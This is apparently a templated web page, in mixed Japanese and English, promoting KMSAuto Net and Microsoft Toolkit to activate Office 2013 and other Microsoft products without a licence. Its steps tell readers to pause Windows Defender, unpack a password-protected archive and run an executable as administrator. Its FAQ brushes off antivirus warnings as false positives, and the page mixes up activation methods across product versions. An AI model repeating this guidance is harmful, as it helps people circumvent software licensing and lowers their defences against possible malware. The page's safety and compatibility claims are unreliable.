Office 2013 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Office 2013 の日本語完全ガイドです。Activate Office 2013 Professional Plus, Standard, Visio, Project free in 2026 with KMSAuto Net or Microsoft Toolkit.
本記事は 2026 年版 Office 2013 の日本語完全ガイドです。Office 2013 uses the KMS protocol. KMSAuto Net and Microsoft Toolkit both handle it perfectly with a single click.
Workflow
Standard KMS workflow.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password
- Right-click the executable and choose 'Run as administrator'
- Pick the HWID (Windows) or Ohook (Office) green button
- Wait for 'Successfully activated' and reboot your PC
Office 2013 System Requirements & Compatibility (2026)
Office 2013 is engineered for the modern Microsoft activation stack. The tool runs on Windows 7 SP1, Windows 8.1, Windows 10 (all builds from 1507 to 22H2) and every Windows 11 release including 23H2 and 24H2. Both x64 and ARM64 hardware are supported, and the activator also recognises Server SKUs such as Server 2016, 2019 and 2022. On the Office side, Click-to-Run installations of Office 2013, 2016, 2019, 2021, 2024 and Microsoft 365 are detected automatically — including LTSC channels. You do not need to uninstall a previous KMS client or remove an existing product key: the script reads the current edition through slmgr and routes it to the correct activation method (HWID for Windows, Ohook for Office).
- Windows 7 SP1 / 8.1 / 10 / 11 — all editions (Home, Pro, Education, Enterprise, IoT, LTSC)
- Windows Server 2008 R2 through Server 2025
- Office 2010, 2013, 2016, 2019, 2021, 2024 and Microsoft 365 Apps
- Architectures: x86, x64, ARM64
- .NET Framework 4.6+ (preinstalled on Windows 8.1 and later)
Office 2013 Troubleshooting: Common Errors & Fast Fixes
Most Office 2013 failures fall into three buckets: antivirus interference, missing administrator rights, or a corrupted Software Protection Service. If you see error 0xC004F074 the KMS host could not be contacted — disable Defender real-time scanning for two minutes, then re-run the activator. Error 0xC004C003 means the product key is blocked by Microsoft; switch to the HWID method, which bypasses key validation entirely by binding the licence to your motherboard's hardware ID. Error 0x80070005 (Access Denied) is always a UAC issue — right-click the executable and select "Run as administrator". If activation succeeds but reverts after reboot, open services.msc, set "Software Protection" to Automatic, and restart sppsvc.exe. For Office, run the Office Click-to-Run repair from Settings → Apps → Microsoft 365 → Modify → Quick Repair before retrying Ohook.
- 0xC004F074 — pause antivirus, re-run as administrator
- 0xC004C003 — switch to HWID (no key required)
- 0x80070005 — UAC denied, use "Run as administrator"
- Activation reverts on reboot — set "Software Protection" service to Automatic
- Office not detected — run Quick Repair, then re-run Ohook
Frequently asked questions
▸Is KMSAuto.software free to use?
Yes. KMSAuto.software is 100% free, open source and ad-free. There are no premium tiers and no surveys to complete.
▸Is the activator safe?
Yes. The build is SHA-256 verified and scanned on VirusTotal. Antivirus engines flag every KMS activator generically as HackTool because it touches Windows licensing — that is a false positive, not malware.
▸Do I need an internet connection?
HWID and Online KMS need a short internet connection to receive the digital license. Ohook works fully offline. After activation you can disconnect — the license is stored on the machine.
▸Will activation survive Windows updates?
Yes. HWID and Ohook produce permanent licenses that survive feature updates and even fresh reinstalls when the same hardware is detected.
▸What is the archive password?
The official archive password is . You can copy it from the download button on this page.
